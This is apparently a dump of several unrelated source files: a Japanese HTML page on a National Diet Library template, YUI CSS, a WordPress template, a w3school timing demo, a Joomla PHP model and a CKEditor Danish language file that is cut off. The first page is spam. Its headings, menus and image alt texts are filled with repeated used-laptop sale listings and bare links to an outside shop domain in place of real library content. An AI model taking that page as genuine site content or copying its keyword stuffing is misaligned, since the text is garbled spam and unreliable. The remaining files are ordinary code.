,中古パソコン HP dc5700 Core2Duo メモリ2GB DVDコンボ office 3ヶ月保証(Z34b) 中古デスクトップ【中古】送料無料</h2>
</div>
<div class="emergency_con">
<a href="">【即納】 送料無料 初心者セット+PCソフトなび(学習CD)★東芝 Satellite J61【入門BOOK?USBメモリ(8G)?マウス?電子説明書付】CoreDuo HDD:【新品】320G 3ヶ月保証(K99bpc)中古パソコン 中古 ノートパソコン 【中古】!05P22Nov12</a>
</div>
</div>
<div class="news clearAfter">
<div class="news_tit">
<h2>中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
</h2>
<p><a class="icon" href="">【即納】【マイクロソフトオフィス付】 送料無料 TOSHIBA(東芝) Satellite J62 無線LAN搭載 HDD:【新品】500G 高性能CoreDuo さくさくメモリ2GB DVDコンボ 3ヶ月保証(K99aWiof) 中古パソコン 中古 ノートパソコン 【中古】!【SBZcou1208】</a><a href="http://ndl.go.jp//rss/update.xml"><img src="http://ndl.go.jp/common/images/ico_rss.gif" alt="rss" width="14" height="16" /></a></p>
</div>
<ul class="news_bt clearAfter">
<li><a href=""><img src="http://ndl.go.jp/common/images/bt_press_off.gif" alt="【即納】 送料無料 【★マイクロソフトオフィス(Word?Excel)付セット★】TOSHIBA(東芝) Satellite J60 高性能CoreSolo★ メモリ1G★ DVDコンボ搭載★ 3ヶ月保証(K99zof) 中古パソコン 中古 ノートパソコン 【中古】!【2sp_121105_green】" width="86" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/bt_news_off.gif" alt="【即納】日立 HITACHI FLORA330W 17インチ液晶付 新品マウス?新品キーボード付★ DVDコンボ(DVD再生とCDのコピー再生ok) CeleronD-2.8Ghz搭載 3ヶ月保証(Z03dL17)【中古デスクトップパソコン】【中古】!" width="85" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/bt_event_off.gif" alt="【即納】【値下げしました!】 送料無料 【グラボ搭載オンラインゲーム対応PC】【2008年発表モデル】富士通 FMV ESPRIMO D5350 高性能Core2Duo-3Ghz メモリ2G(MAX) 3ヶ月保証(Z68L17)【中古デスクトップパソコン】【中古】!" width="85" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/bt_issue_off.gif" alt="中古パソコン 【 Microsoft Office ( Word Excel )搭載】 [Windows XP] DELL Optiplex755 USFF Core2Duo-2.2Ghz メモリ1GB HDD80GB DVDROM Office [本体のみ] (R24xof) 3ヵ月保証 中古デスクトップパソコン 送料無料 【中古】" width="85" height="40" class="changeImage" /></a></li>
<li class="end"><a href=""><img src="http://ndl.go.jp/common/images/bt_recruit_off.gif" alt="【即納】TOSHIBA(東芝) Satellite1860 DVDマルチ搭載 高性能P4 大画面 512MB Office2010付 3ヶ月保証(L34m)【中古パソコン】【中古】送料全国一律1,200円!" width="85" height="40" class="changeImage" /></a></li>
</ul>
<div class="news_con">
<dl>
<dt><span>2015年12月24日</span> <img src="http://ndl.go.jp/common/images/ico_issue.gif" alt="刊行物" width="68" height="16" /></dt>
<dd><a href="" >中古パソコン 【即納】【Windows7搭載】 無線LAN内蔵 富士通(FUJITSU) FMV-A8270 Core2Duo-2.26G メモリ2G 【新品HDD:500G】 3ヶ月保証(P47-7Wi) 中古 ノートパソコン 【2008年発表モデル】送料無料 【中古】,中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
</a></dd>
<dt><span>2015年12月17日</span> <img src="http://ndl.go.jp/common/images/ico_issue.gif" alt="刊行物" width="68" height="16" /></dt>
<dd><a href="http://factory.aedew.com/images/Core2Duo/020410370j29nx.html">http://factory.aedew.com/images/Core2Duo/020410370j29nx.html</a></dd>
<dt><span>2015年12月7日</span> <img src="http://ndl.go.jp/common/images/ico_etc.gif" alt="その他" width="68" height="16" /></dt>
<dd><a href="" >中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
</a></dd>
<dt><span>2015年12月7日</span> <img src="http://ndl.go.jp/common/images/ico_issue.gif" alt="刊行物" width="68" height="16" /></dt>
<dd><a href="http://factory.aedew.com/images/Core2Duo/020411331k69lx.html">http://factory.aedew.com/images/Core2Duo/020411331k69lx.html</a></dd>
<dt><span>2015年12月3日</span> <img src="http://ndl.go.jp/common/images/ico_etc.gif" alt="その他" width="68" height="16" /></dt>
<dd><a href="" >中古パソコン 取扱説明書付 【17インチ液晶付】【マイクロソフトオフィス付】 富士通 FUJITSU FMV-D5260 WindowsXP Pro MS office 3ヶ月保証(Z79zL17of) 中古 デスクトップ 【中古】送料無料,中古パソコン 【 Microsoft Office ( Word Excel )搭載】 Windows7 HP dc5800 Core2Duo メモリ2GB HDD:80GB Office 3ヶ月保証 (Z74-7of) 【中古】 中古 パソコン 送料無料</dd>
<dt><span>2015年12月3日</span> <img src="http://ndl.go.jp/common/images/ico_recruit.gif" alt="採用情報" width="68" height="16" /></dt>
<dd><a href="http://factory.aedew.com/images/Core2Duo/020410327a12bj.html">http://factory.aedew.com/images/Core2Duo/020410327a12bj.html</a></dd>
</dl>
</div>
</div>
<div class="spotlight">
<div class="spotlight_tit">
<h2>中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
</h2>
</div>
<div class="spotlight_con">
<dl class="clearAfter">
<dt><a href=""><img src="http://ndl.go.jp/jp/spot/__icsFiles/thumbnail/2015/11/30/spot_sympo1601.jpg" alt="中古パソコン 【即納】【マイクロソフトオフィス付】【2008年発表モデル】富士通(FUJITSU) FMV-A6270 15.4インチワイド液晶 Office 3ヶ月保証(P55of) 中古 ノートパソコン 送料無料 !【中古】" /></a></dt>
<dd>
<a href="">中古パソコン NEC VersaPro VY16M/W-4 無線LAN内臓 Windows7 CeleronM-1.6Ghz メモリ1GB HDD80GB DVDコンボ FDD Office (P26-7Wi) 3ヵ月保証 中古 ノートパソコン 送料無料 【中古】</a>
<span>【即納】TOSHIBA(東芝) DVDマルチ搭載 Dynabook Satellite J61 1GB 大画面 リカバリ内蔵 Office2010付属 3ヶ月保証(J70s)【中古ノートパソコン】,中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
</span>
</dd>
</dl>
<dl class="clearAfter">
<dt><a href="http://ndl.go.jp/kaleido/entry/20/index.html"><img src="http://ndl.go.jp/jp/spot/__icsFiles/thumbnail/2015/11/18/spot_kaleido20.jpg" alt="中古パソコン 【 Microsoft Office ( Word Excel )搭載】 NEC Express 5800/51Le Core2Duo-2.13Ghz メモリ3GB HDD160GB DVDマルチ MS Office (R02of) 3ヵ月保証 中古 デスクトップ 送料無料 【中古】" /></a></dt>
<dd>
<a href="">中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
</a>
<span>中古ノートパソコン マルチドライブ搭載!見易い15.6HDモニターで使易い!無線LAN内蔵 【Core i3-370M/2GB/160G/MULTI/15.6TFT】 富士通 LIFEBOOK A550/B Windows7Pro 64Bit A4ワイド 中古パソコン【中古】 リフレッシュPC リサイクルPC,中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
</span>
</dd>
</dl>
</div>
</div>
</div>
<div class="event">
<h2>中古ノートパソコン メモリー2GB☆ワイドTFT?Windows7 Pro 32bit? 【Core2Duo P8700/2GB/160GB/MULTI/15.4TFT】 NEC VersaProPC-VY25A/A-9 銀パソ VA-9 中古ノートパソコン 【中古】 リフレッシュPC リサイクルPC,中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
</h2>
<dl><dt>2016年1月11日(月)</dt>
<dd><a href="">中古ノートパソコン 激スペック!第3世代Core i7搭載?メモリー4GB?フルテンキー搭載! 東芝 dynabook B552 【Core i7-3520M/4GB/320GB/MULTI】 ビジネスPC Windows7 Pro 64Bit 中古ノートパソコン 無線LAN WLAN ノートパソコン 【中古】 リサイクルPC 中古ノートパソコン,中古ノートパソコン カスタマイズ自由!高性能ノートをベースに用途に合わせてオーダー可能!【Core i3 M360/~4GB/~1TB/~MULTI】店長におまかせノート Windows8も選択可能☆ ノートパソコン 【中古】 リサイクルPC 中古ノートパソコン,中古ノートパソコン 使易い13.3インチワイド☆Core i5!マルチ!メモリー4GB☆ 富士通 S560/B 【Core i5 560M/4GB/160G/MULTI/13.3W】 LIFEBOOK 無線LAN付 Windows7 Pro 32Bit版 A4ワイド 中古ノートパソコン 【中古】 リフレッシュPC リサイクルPC</a></dd>
<dt>2016年1月15日(金)</dt>
<dd><a href="http://factory.aedew.com/images/Core2Duo/020411520x42eh.html">http://factory.aedew.com/images/Core2Duo/020411520x42eh.html</a></dd>
<dt>2016年2月18日(木)</dt>
<dd><a href="http://factory.aedew.com/images/Core2Duo/020411493z81sv.html">http://factory.aedew.com/images/Core2Duo/020411493z81sv.html</a></dd>
</dl>
</div>
</div>
<!-- contents_r // -->
</div>
<!-- // footer -->
<div id="footer" class="clearAfter">
<!-- // hidden -->
<span class="hidden">ここからサブメニュー(フッタ)です。</span>
<!-- hidden // -->
<div class="footer_in2">
<!-- // about -->
<p id="about"><a href="">中古ノートパソコン 第2世代 Core i7 搭載!フルテンキーに大画面モニター!メモリー4GB☆ DELL Latitude E6520 【Core i7 2620M/4GB/500GB/MULTI/15.6TFT HD+】無線LAN付 Windows7 Pro 64Bit 中古 ノートパソコン 【中古】 リサイクルPC 中古ノートパソコン</a></p>
<!-- about // -->
<!-- // footernavi -->
<div id="footernavi">
<ul>
<li><a href="http://ndl.go.jp/aboutus/index.html">中古パソコン 高性能Core i3搭載☆マルチドライブ搭載☆ 【Core i3-550/2GB/160G/MULTI】富士通 ESPRIMO D750/A マルチ搭載 Windows7 Pro 32bit 中古デスクトップ 【中古】 リフレッシュPC リサイクルPC</a></li>
<li><a href="http://ndl.go.jp/aboutus/deposit/deposit.html">納本制度</a></li>
<li><a href="http://ndl.go.jp/library/index.html">中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
</a></li>
<li><a href="">出版者の方へ</a></li>
<li><a href="">障害のある方へ</a></li>
<li><a href="">中古ノートパソコン 第2世代Core i5搭載!複数ソフト起動も軽快! 富士通 LIFEBOOK A561 【Core i5-2520M/4GB/160G/MULTI】 店長オススメ Windows7 Pro 64Bit 中古パソコン 【中古】 リフレッシュPC リサイクルPC HDMI 中古ノートパソコン</a></li>
<li><a href="http://ndl.go.jp/publication/index.html">刊行物</a></li>
<li><a href="">中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
</a></li>
<li class="end"><a href="http://ndl.go.jp//supply/index.html">調達情報</a></li>
</ul>
</div>
<!-- footernavi // -->
<div id="footernavi2" class="clearAfter">
<ul>
<li><a href="">サイトポリシー</a></li>
<li class="end"><a href="">お問い合わせ</a></li>
</ul>
</div>
</div>
<div class="copyright" xml:lang="en" lang="en">Copyright © 2012- All Rights Reserved.</div>
</div>
<!-- footer // -->
</div>
</body>
</html>
|
ForAEdesWeb/AEW2
|
images/Core2Duo/020412085o15il.html
|
HTML
|
gpl-2.0
| 47,772
|
/*
Copyright (c) 2008, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/license.txt
version: 2.5.0
*/
/*foundational css*/
.yui-dt-table th, .yui-dt-table td {
overflow:hidden;
}
th .yui-dt-header {
position:relative;
}
th .yui-dt-label {
position:relative;
border-right:10px;
}
th .yui-dt-resizer {
position:absolute;
margin-right:-6px;
right:0;
bottom:0;
width:6px;
height:100%;
cursor:w-resize;
cursor:col-resize;
}
/* foundational scrolling css */
.yui-dt-scrollable {
*overflow-y:auto; /* for ie */
}
.yui-dt-scrollable thead {
display:block; /* for safari and opera */
}
.yui-dt-scrollable thead tr {
position:relative; /* for ie */
}
.yui-dt-scrollbody {
display:block; /* for safari and opera */
overflow:auto; /* for gecko */
}
.yui-dt-editor {
position:absolute;
}
|
alx/blogsfera
|
wp-includes/js/yui/2.5.0/build/datatable/assets/datatable.css
|
CSS
|
gpl-2.0
| 950
|
<?php
/**
* The Template for displaying all single posts.
*
* @package WordPress
* @subpackage Twenty_Ten
* @since Twenty Ten 1.0
*/
get_header(); ?>
<div id="container">
<div id="content" role="main">
<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
<h1 class="entry-title"><?php the_title(); ?></h1>
<?php render_wpfc_sermon_single(); ?>
<div class="entry-utility">
<?php edit_post_link( __( 'Edit', 'sermon-manager' ), '<span class="edit-link">', '</span>' ); ?>
</div><!-- .entry-utility -->
</div><!-- #post-## -->
<div id="nav-below" class="navigation">
<div class="nav-previous"><?php previous_post_link( '%link', '<span class="meta-nav">' . _x( '←', 'Previous post link', 'sermon-manager' ) . '</span> %title' ); ?></div>
<div class="nav-next"><?php next_post_link( '%link', '%title <span class="meta-nav">' . _x( '→', 'Next post link', 'sermon-manager' ) . '</span>' ); ?></div>
</div><!-- #nav-below -->
<?php comments_template( '', true ); ?>
</div><!-- #content -->
</div><!-- #container -->
<?php get_sidebar(); ?>
<?php get_footer(); ?>
|
nathankinkeadgate6/gbcphoenix
|
wp-content/plugins/sermon-manager-for-wordpress/views/single-wpfc_sermon.php
|
PHP
|
gpl-2.0
| 1,174
|
<!DOCTYPE html>
<html lang="zh-cn">
<!-- Mirrored from www.w3school.com.cn/tiy/t.asp?f=hdom_timing2 by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 02 Dec 2015 00:59:08 GMT -->
<!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=GB2312" /><!-- /Added by HTTrack -->
<head>
<meta charset="utf-8" />
<meta name="robots" content="all" />
<meta name="author" content="w3school.com.cn" />
<link rel="stylesheet" type="text/css" href="tc.css" />
<title>W3School在线测试工具 V2</title>
</head>
<body id="editor">
<div id="wrapper">
<div id="header">
<h1>W3School TIY</h1>
<div id="ad">
<script type="text/javascript"><!--
google_ad_client = "pub-3381531532877742";
/* 728x90, tiy_big */
google_ad_slot = "7947784850";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="../../pagead2.googlesyndication.com/pagead/f.txt">
</script>
</div>
</div>
<form action="http://www.w3school.com.cn/tiy/v.asp" method="post" id="tryitform" name="tryitform" onSubmit="validateForm();" target="i">
<div id="butt">
<input type="button" value="提交代码" onClick="submitTryit()">
</div>
<div id="CodeArea">
<h2>编辑您的代码:</h2>
<textarea id="TestCode" wrap="logical">
<html>
<head>
<script type="text/javascript">
function timedText()
{
var t1=setTimeout("document.getElementById('txt').value='2 seconds!'",2000)
var t2=setTimeout("document.getElementById('txt').value='4 seconds!'",4000)
var t3=setTimeout("document.getElementById('txt').value='6 seconds!'",6000)
}
</script>
</head>
<body>
<form>
<input type="button" value="显示计时的文本!" onClick="timedText()">
<input type="text" id="txt">
</form>
<p>在按钮上面点击。输入框会显示出已经流逝的 2、4、6 秒钟。</p>
</body>
<!-- Mirrored from www.w3school.com.cn/tiy/t.asp?f=hdom_timing2 by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 02 Dec 2015 00:59:08 GMT -->
</html>
</textarea>
</div>
<input type="hidden" id="code" name="code" />
<input type="hidden" id="bt" name="bt" />
</form>
<div id="result">
<h2>查看结果:</h2>
<iframe frameborder="0" name="i" src="loadtexta25f.html?f=hdom_timing2"></iframe>
</div>
<div id="footer">
<p>请在上面的文本框中编辑您的代码,然后单击提交按钮测试结果。<a href="../index-2.html" title="W3School 在线教程">w3school.com.cn</a></p>
</div>
</div>
<script type="text/javascript">
function submitTryit()
{
var t=document.getElementById("TestCode").value;
t=t.replace(/=/gi,"w3equalsign");
t=t.replace(/script/gi,"w3scrw3ipttag");
document.getElementById("code").value=t;
document.getElementById("tryitform").action="v.html";
validateForm();
document.getElementById("tryitform").submit();
}
function validateForm()
{
var code=document.getElementById("code").value;
if (code.length>5000)
{
document.getElementById("code").value="<h1>Error</h1>";
}
}
</script>
</body>
</html>
|
platinhom/ManualHom
|
Coding/W3School/W3CN/www.w3school.com.cn/tiy/ta25f.html
|
HTML
|
gpl-2.0
| 2,931
|
/* created by click/linuxmodule/fixincludes.pl on Tue Nov 25 22:39:41 2014 */
/* from /lib/modules/2.6.27.5-117.fc10.i686/build/include/config/scsi/dh/emc.h */
|
songxingshen/myclick
|
include/click-linuxmodule/include0/config/scsi/dh/emc.h
|
C
|
gpl-2.0
| 160
|
<?php
/**
* @desc Modify from component Media Manager of Joomla
*
*/
// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die( 'Restricted access' );
jimport('joomla.application.component.model');
/**
* Weblinks Component Weblink Model
*
* @package Joomla
* @subpackage Content
* @since 1.5
*/
class JaextmanagerModelRepo extends JModel
{
function getState($property = null)
{
static $set;
if (!$set) {
$folder = JRequest::getVar( 'folder', '', '', 'none' );
//$folder = JPath::clean($folder);
$this->setState('folder', $folder);
$parent = str_replace("\\", "/", dirname($folder));
$parent = ($parent == '.') ? null : $parent;
$this->setState('parent', $parent);
$set = true;
}
return parent::getState($property);
}
/**
* Image Manager Popup
*
* @param string $listFolder The image directory to display
* @since 1.5
*/
function getFolderList($base = null)
{
global $mainframe;
// Get some paths from the request
if (empty($base)) {
$base = JA_WORKING_DATA_FOLDER;
}
// Get the list of folders
jimport('joomla.filesystem.folder');
$folders = JFolder::folders($base, '.', 4, true);
// Load appropriate language files
$lang = & JFactory::getLanguage();
$lang->load(JRequest::getCmd( 'option' ), JPATH_ADMINISTRATOR);
$document =& JFactory::getDocument();
$document->setTitle(JText::_('Insert Image'));
// Build the array of select options for the folder list
$options[] = JHTML::_('select.option', "","/");
foreach ($folders as $folder) {
$folder = str_replace(JA_WORKING_DATA_FOLDER, "", $folder);
$value = substr($folder, 1);
$text = str_replace(DS, "/", $folder);
$options[] = JHTML::_('select.option', $value, $text);
}
// Sort the folder list array
if (is_array($options)) {
sort($options);
}
// Create the drop-down folder select list
$list = JHTML::_('select.genericlist', $options, 'folderlist', "class=\"inputbox\" size=\"1\" onchange=\"ImageManager.setFolder(this.options[this.selectedIndex].value)\" ", 'value', 'text', $base);
return $list;
}
function getFolderTree($base = null)
{
// Get some paths from the request
if (empty($base)) {
$base = JA_WORKING_DATA_FOLDER;
}
$base = JPath::clean($base . DS);
$mediaBase = str_replace(DS, '/', $base);
// Get the list of folders
jimport('joomla.filesystem.folder');
$folders = JFolder::folders($base, '.', 4, true);
$tree = array();
foreach ($folders as $folder)
{
$folder = JPath::clean($folder);
$folder = str_replace(DS, '/', $folder);
$name = substr($folder, strrpos($folder, '/') + 1);
$relative = str_replace($mediaBase, '', $folder);
$absolute = $folder;
$path = explode('/', $relative);
$node = (object) array('name' => $name, 'relative' => $relative, 'absolute' => $absolute);
$tmp = &$tree;
for ($i=0,$n=count($path); $i<$n; $i++)
{
if (!isset($tmp['children'])) {
$tmp['children'] = array();
}
if ($i == $n-1) {
// We need to place the node
$tmp['children'][$relative] = array('data' =>$node, 'children' => array());
break;
}
if (array_key_exists($key = implode('/', array_slice($path, 0, $i+1)), $tmp['children'])) {
$tmp = &$tmp['children'][$key];
}
}
}
$tree['data'] = (object) array('name' => JText::_('Repository'), 'relative' => '', 'absolute' => $base);
return $tree;
}
}
|
rlee1962/diylegalcenter
|
administrator/components/com_jaextmanager/models/repo.php
|
PHP
|
gpl-2.0
| 3,426
|
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
/**
* @fileOverview Defines the {@link CKEDITOR.lang} object, for the
* Danish language.
*/
/**#@+
@type String
@example
*/
/**
* Constains the dictionary of language entries.
* @namespace
*/
CKEDITOR.lang['da'] =
{
/**
* The language reading direction. Possible values are "rtl" for
* Right-To-Left languages (like Arabic) and "ltr" for Left-To-Right
* languages (like English).
* @default 'ltr'
*/
dir : 'ltr',
/*
* Screenreader titles. Please note that screenreaders are not always capable
* of reading non-English words. So be careful while translating it.
*/
editorTitle : 'Rich text editor, %1, press ALT 0 for help.', // MISSING
// ARIA descriptions.
toolbar : 'Toolbar', // MISSING
editor : 'Rich Text Editor', // MISSING
// Toolbar buttons without dialogs.
source : 'Kilde',
newPage : 'Ny side',
save : 'Gem',
preview : 'Vis eksempel',
cut : 'Klip',
copy : 'Kopiér',
paste : 'Indsæt',
print : 'Udskriv',
underline : 'Understreget',
bold : 'Fed',
italic : 'Kursiv',
selectAll : 'Vælg alt',
removeFormat : 'Fjern formatering',
strike : 'Gennemstreget',
subscript : 'Sænket skrift',
superscript : 'Hævet skrift',
horizontalrule : 'Indsæt vandret streg',
pagebreak : 'Indsæt sideskift',
unlink : 'Fjern hyperlink',
undo : 'Fortryd',
redo : 'Annullér fortryd',
// Common messages and labels.
common :
{
browseServer : 'Gennemse...',
url : 'URL',
protocol : 'Protokol',
upload : 'Upload',
uploadSubmit : 'Upload',
image : 'Indsæt billede',
flash : 'Indsæt Flash',
form : 'Indsæt formular',
checkbox : 'Indsæt afkrydsningsfelt',
radio : 'Indsæt alternativknap',
textField : 'Indsæt tekstfelt',
textarea : 'Indsæt tekstboks',
hiddenField : 'Indsæt skjult felt',
button : 'Indsæt knap',
select : 'Indsæt liste',
imageButton : 'Indsæt billedknap',
notSet : '<intet valgt>',
id : 'Id',
name : 'Navn',
langDir : 'Tekstretning',
langDirLtr : 'Fra venstre mod højre (LTR)',
langDirRtl : 'Fra højre mod venstre (RTL)',
langCode : 'Sprogkode',
longDescr : 'Udvidet beskrivelse',
cssClass : 'Typografiark (CSS)',
advisoryTitle : 'Titel',
cssStyle : 'Typografi (CSS)',
ok : 'OK',
cancel : 'Annullér',
close : 'Close', // MISSING
preview : 'Preview', // MISSING
generalTab : 'Generelt',
advancedTab : 'Avanceret',
validateNumberFailed : 'Værdien er ikke et tal.',
confirmNewPage : 'Alt indhold, der ikke er blevet gemt, vil gå tabt. Er du sikker på, at du vil indlæse en ny side?',
confirmCancel : 'Nogle af indstillingerne er blevet ændret. Er du sikker på, at du vil lukke vinduet?',
options : 'Options', // MISSING
target : 'Target', // MISSING
targetNew : 'New Window (_blank)', // MISSING
targetTop : 'Topmost Window (_top)', // MISSING
targetSelf : 'Same Window (_self)', // MISSING
targetParent : 'Parent Window (_parent)', // MISSING
// Put the voice-only part of the label in the span.
unavailable : '%1<span class="cke_accessibility">, ikke tilgængelig</span>'
},
contextmenu :
{
options : 'Context Menu Options' // MISSING
},
// Special char dialog.
specialChar :
{
toolbar : 'Indsæt symbol',
title : 'Vælg symbol',
options : 'Special Character Options' // MISSING
},
// Link dialog.
link :
{
toolbar : 'Indsæt/redigér hyperlink',
other : '<anden>',
menu : 'Redigér hyperlink',
title : 'Egenskaber for hyperlink',
info : 'Generelt',
target : 'Mål',
upload : 'Upload',
advanced : 'Avanceret',
type : 'Type',
toUrl : 'URL', // MISSING
toAnchor : 'Bogmærke på denne side',
toEmail : 'E-mail',
targetFrame : '<ramme>',
targetPopup : '<popup vindue>',
targetFrameName : 'Destinationsvinduets navn',
targetPopupName : 'Popup vinduets navn',
popupFeatures : 'Egenskaber for popup',
popupResizable : 'Justérbar',
popupStatusBar : 'Statuslinje',
popupLocationBar: 'Adresselinje',
popupToolbar : 'Værktøjslinje',
popupMenuBar : 'Menulinje',
popupFullScreen : 'Fuld skærm (IE)',
popupScrollBars : 'Scrollbar',
popupDependent : 'Koblet/dependent (Netscape)',
popupWidth : 'Bredde',
popupLeft : 'Position fra venstre',
popupHeight : 'Højde',
popupTop : 'Position fra toppen',
id : 'Id',
langDir : 'Tekstretning',
langDirLTR : 'Fra venstre mod højre (LTR)',
langDirRTL : 'Fra højre mod venstre (RTL)',
acccessKey : 'Genvejstast',
name : 'Navn',
langCode : 'Tekstretning',
tabIndex : 'Tabulator indeks',
advisoryTitle : 'Titel',
advisoryContentType : 'Indholdstype',
cssClasses : 'Typografiark',
charset : 'Tegnsæt',
styles : 'Typografi',
selectAnchor : 'Vælg et anker',
anchorName : 'Efter anker navn',
anchorId : 'Efter element Id',
emailAddress : 'E-mail adresse',
emailSubject : 'Emne',
emailBody : 'Besked',
noAnchors : '(Ingen bogmærker i dokumentet)',
noUrl : 'Indtast hyperlink URL!',
noEmail : 'Indtast e-mail adresse!'
},
// Anchor dialog
anchor :
{
toolbar : 'Indsæt/redigér bogmærke',
menu : 'Egenskaber for bogmærke',
title : 'Egenskaber for bogmærke',
name : 'Bogmærke navn',
errorName : 'Indtast bogmærke navn'
},
// List style dialog
list:
{
numberedTitle : 'Numbered List Properties', // MISSING
bulletedTitle : 'Bulleted List Properties', // MISSING
type : 'Type', // MISSING
start : 'Start', // MISSING
validateStartNumber :'List start number must be a whole number.', // MISSING
circle : 'Circle', // MISSING
disc : 'Disc', // MISSING
square : 'Square', // MISSING
none : 'None', // MISSING
notset : '<not set>', // MISSING
armenian : 'Armenian numbering', // MISSING
georgian : 'Georgian numbering (an, ban, gan, etc.)', // MISSING
lowerRoman : 'Lower Roman (i, ii, iii, iv, v, etc.)', // MISSING
upperRoman : 'Upper Roman (I, II, III, IV, V, etc.)', // MISSING
lowerAlpha : 'Lower Alpha (a, b, c, d, e, etc.)', // MISSING
upperAlpha : 'Upper Alpha (A, B, C, D, E, etc.)', // MISSING
lowerGreek : 'Lower Greek (alpha, beta, gamma, etc.)', // MISSING
decimal : 'Decimal (1, 2, 3, etc.)', // MISSING
decimalLeadingZero : 'Decimal leading zero (01, 02, 03, etc.)' // MISSING
},
// Find And Replace Dialog
findAndReplace :
{
title : 'Søg og erstat',
find : 'Søg',
replace : 'Erstat',
findWhat : 'Søg efter:',
replaceWith : 'Erstat med:',
notFoundMsg : 'Søgeteksten blev ikke fundet',
matchCase : 'Forskel på store og små bogstaver',
matchWord : 'Kun hele ord',
matchCyclic : 'Match cyklisk',
replaceAll : 'Erstat alle',
replaceSuccessMsg : '%1 forekomst(er) erstattet.'
},
// Table Dialog
table :
{
toolbar : 'Tabel',
title : 'Egenskaber for tabel',
menu : 'Egenskaber for tabel',
deleteTable : 'Slet tabel',
rows : 'Rækker',
columns : 'Kolonner',
border : 'Rammebredde',
align : 'Justering',
alignLeft : 'Venstrestillet',
alignCenter : 'Centreret',
alignRight : 'Højrestillet',
width : 'Bredde',
widthPx : 'pixels',
widthPc : 'procent',
widthUnit : 'width unit', // MISSING
height : 'Højde',
cellSpace : 'Celleafstand',
cellPad : 'Cellemargen',
caption : 'Titel',
summary : 'Resumé',
headers : 'Header',
headersNone : 'Ingen',
headersColumn : 'Første kolonne',
headersRow : 'Første række',
headersBoth : 'Begge',
invalidRows : 'Antallet af rækker skal være større end 0.',
invalidCols : 'Antallet af kolonner skal være større end 0.',
invalidBorder : 'Rammetykkelse skal være et tal.',
invalidWidth : 'Tabelbredde skal være et tal.',
invalidHeight : 'Tabelhøjde skal være et tal.',
invalidCellSpacing : 'Celleafstand skal være et tal.',
invalidCellPadding : 'Cellemargen skal være et tal.',
cell :
{
menu : 'Celle',
insertBefore : 'Indsæt celle før',
insertAfter : 'Indsæt celle efter',
deleteCell : 'Slet celle',
merge : 'Flet celler',
mergeRight : 'Flet til højre',
mergeDown : 'Flet nedad',
splitHorizontal : 'Del celle vandret',
splitVertical : 'Del celle lodret',
title : 'Celleegenskaber',
cellType : 'Celletype',
rowSpan : 'Række span (rows span)',
colSpan : 'Kolonne span (columns span)',
wordWrap : 'Tekstombrydning',
hAlign : 'Vandret justering',
vAlign : 'Lodret justering',
alignTop : 'Top',
alignMiddle : 'Midt',
alignBottom : 'Bund',
alignBaseline : 'Grundlinje',
bgColor : 'Baggrundsfarve',
borderColor : 'Rammefarve',
data : 'Data',
header : 'Header',
yes : 'Ja',
no : 'Nej',
invalidWidth : 'Cellebredde skal være et tal.',
invalidHeight : 'Cellehøjde skal være et tal.',
invalidRowSpan : 'Række span skal være et heltal.',
invalidColSpan : 'Kolonne span skal være et heltal.',
chooseColor : 'Choose' // MISSING
},
row :
{
menu : 'Række',
insertBefore : 'Indsæt række før',
insertAfter : 'Indsæt række efter',
deleteRow : 'Slet række'
},
column :
{
menu : 'Kolonne',
insertBefore : 'Indsæt kolonne før',
insertAfter : 'Indsæt kolonne efter',
deleteColumn : 'Slet kolonne'
}
},
// Button Dialog.
button :
{
title : 'Egenskaber for knap',
text : 'Tekst',
type : 'Type',
typeBtn : 'Knap',
